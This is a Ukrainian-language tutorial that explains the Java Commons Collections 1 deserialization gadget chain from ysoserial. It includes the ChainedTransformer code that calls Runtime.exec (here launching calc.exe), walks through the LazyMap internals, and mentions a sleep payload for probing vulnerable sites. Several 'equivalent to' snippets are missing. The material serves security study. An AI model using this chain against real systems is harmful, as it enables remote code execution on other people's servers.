Якщо ви нічого не знаєте про java deserialization payloads, може бути важко зрозуміти, чому цей код виконає calc.
По-перше, вам потрібно знати, що Transformer в Java - це щось, що отримує клас і перетворює його на інший.
Також цікаво знати, що payload, що виконується тут, є еквівалентом до:
Отже, як перший payload представлений еквівалентно цим "простим" однолінійникам?
По-перше, ви можете помітити в payload, що створюється ланцюг (масив) трансформацій:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Якщо ви прочитаєте код, ви помітите, що якщо ви якимось чином з'єднаєте трансформацію масиву, ви зможете виконувати довільні команди.
У останній секції payload ви можете побачити, що створюється об'єкт Map. Потім виконується функція decorate з LazyMap з об'єктом мапи та з'єднаними трансформерами. З наступного коду ви можете побачити, що це призведе до того, що з'єднані трансформери будуть скопійовані всередині атрибута lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
І тоді виконується велике фінале: lazyMap.get("anything");
Це код функції get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
І це код функції transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Отже, пам'ятайте, що всередині factory ми зберегли chainedTransformer, а всередині функції transform ми проходимо через усі ці трансформери, що з'єднані та виконуємо один за одним. Смішно те, що кожен трансформер використовує objectяк вхідні дані, а об'єкт є виходом з останнього виконаного трансформера. Отже, всі трансформації виконуються в ланцюжку, виконуючи шкідливий payload.
Резюме
В кінці, через те, як lazyMap управляє з'єднаними трансформерами всередині методу get, це як якби ми виконували наступний код:
Зверніть увагу, що value є вхідним значенням кожного перетворення та вихідним значенням попереднього перетворення, що дозволяє виконати однорядковий код:
Зверніть увагу, що тут було пояснено гаджети, використані для ComonsCollections1 payload. Але залишено як все це починає виконуватись. Ви можете побачити тут, що ysoserial, для виконання цього payload, використовує об'єкт AnnotationInvocationHandler, оскільки коли цей об'єкт буде десеріалізовано, він викличе функцію payload.get(), яка виконає весь payload.
Java Thread Sleep
Цей payload може бути корисним для визначення, чи вразливий веб, оскільки він виконає затримку, якщо так.